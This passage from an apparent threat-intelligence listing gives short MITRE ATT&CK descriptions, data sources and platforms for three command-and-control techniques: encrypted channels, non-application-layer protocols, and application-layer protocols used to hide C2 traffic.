Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre